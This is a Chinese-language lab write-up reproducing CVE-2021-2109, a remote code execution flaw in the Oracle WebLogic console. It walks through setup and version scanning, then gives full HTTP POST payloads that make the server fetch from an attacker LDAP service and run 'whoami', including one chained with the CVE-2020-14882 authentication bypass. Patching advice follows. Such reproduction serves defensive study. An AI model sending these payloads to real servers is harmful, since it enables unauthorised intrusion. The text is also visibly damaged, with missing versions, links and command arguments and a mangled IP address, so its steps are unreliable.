WebLogic是美国甲骨文公司出品的一个applicationserver(应用服务器),确切的说是一个基于JAVAEE架构的中间件,WebLogic主要用于开发、继承、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
0x01漏洞概述CVE-2021-2109是存在于WebLogicServer的console中的一个远程代码执行漏洞,经过身份验证的攻击者可以直接通过JNDI远程执行命令或者注入代码,可以配合CVE-2020-14882未授权漏洞执行任意代码。
0x02影响版本0x03环境搭建Java环境配置:
一定要安装
具体安装步骤可以自行上网搜索,这里推荐,里面也有jdk下载的官网地址,安装jdk时安装路径最好全英文无空格,安装完后配置环境变量。
如果不安装,后续配置步骤则会遇到如下错误,
安装完Weblogic后打开WebLogicScriptingTool时可以看到如下报错!
这是由于我们下载安装的版本最高只支持,而我们给weblogic配置的是1.8版本,
如果已装有,则直接执行以下步骤,没装但已使用安装了weblogic,则在安装完后执行以下步骤
将weblogic安装目录下C:\Oracle\Middleware\wlserver_10.3\common\bin\文件中的。
@remResetJAVAHomesetJAVA_HOME=C:\Java\_212FOR%%iIN("%JAVA_HOME%")DOSETJAVA_HOME=%%~fsi修改为
@remResetJAVAHomesetJAVA_HOME=C:\Java\%%iIN("%JAVA_HOME%")DOSETJAVA_HOME=%%~fsi保存后双击运行即完成配置修改。
安装配置WeblogicServer(Windows):
WeblogicServer下载链接:
具体安装和配置步骤参考以下链接,
只需要完成WebLogic安装步骤即可,配置步骤在本次复现中无需进行。
启动WebLogic并输入用户名密码
访问
0x04漏洞复现1.本地漏洞检测
行指令查看版本信息
cd/Oracle/Middleware/wlserver_10.3/server/
没有显示打补丁的信息则存在漏洞
2.使用Nmap进行远程漏洞扫描
可以通过访问控制台登录页(/console/login/)看底部版本号,但是该页面很可能被删除或无法访问,此时可以通过Nmap自带的针对WebLogic的扫描脚本来进行版本探测,Nmap会发送T3协议的数据包,并从返回包中的HELO信息获取weblogic的版本.
/24-p7001,7002--script=
扫描结果显示192.168.50.139目标靶机开启了7001端口的T3协议
同时WebLogicServer的版本为10.3.6,在CVE-2021-2109影响范围内
3.feihong-cs版EXP
下载编译好的jar包后执行指令来启动LDAP和HTTP服务(-i选项后接本机IP)
启动后无内容,此时已经打开HTTP和LDAP服务,如果接收到LDAP的请求就会打印出内容并处理,
打开Burpsuite的Repeater模块,填入并修改payload,
POST/console//1.1Host:192.168.50.139:7001User-Agent:Mozilla/5.0(;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/85.0.4183.83Safari/537.36Accept:image/avif,image/webp,image/apng,image/*,*/*;q=0.8Accept-Encoding:gzip,deflateAccept-Language:zh-CN,zh;q=0.9Upgrade-Insecure-Requests:1Content-Type:application/x-www-form-urlencodedCookie:ADMINCONSOLESESSION=1w6DgCLLkQhPRBqkQthhQvPqpT4SvTl22rSjK3kRHxw0WHLhnzG1!-766673213Connection:closeContent-Length:176cmd:whoami_pageLabel=JNDIBindingPageGeneral_nfpb=trueJNDIBindingPortlethandle=(%22ldap://192.168.50;139:1389/Basic/WeblogicEcho;AdminServer%22)
服务端接收到payload,执行并返回结果
4.配合使用未授权漏洞
POST/console/css/%252e%252e//1.1Host:192.168.50.139:7001Upgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/87.0.4280.88Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding:gzip,deflateAccept-Language:zh-CN,zh;q=0.9Content-Length:177Connection:close?_pageLabel=JNDIBindingPageGeneral_nfpb=trueJNDIBindingPortlethandle=(%22ldap://192.168.50;139:1389/Basic/WeblogicEcho;AdminServer%22)0x05修复建议
1.升级WeblogicServer运行环境的JDK版本;
3.使用WeblogicServer官方提供的安全补丁进行修复,;
4.临时关闭后台/console/对外访问;
5.禁止启用IIOP,登陆Weblogic控制台,找到启用IIOP选项,取消勾选并重启.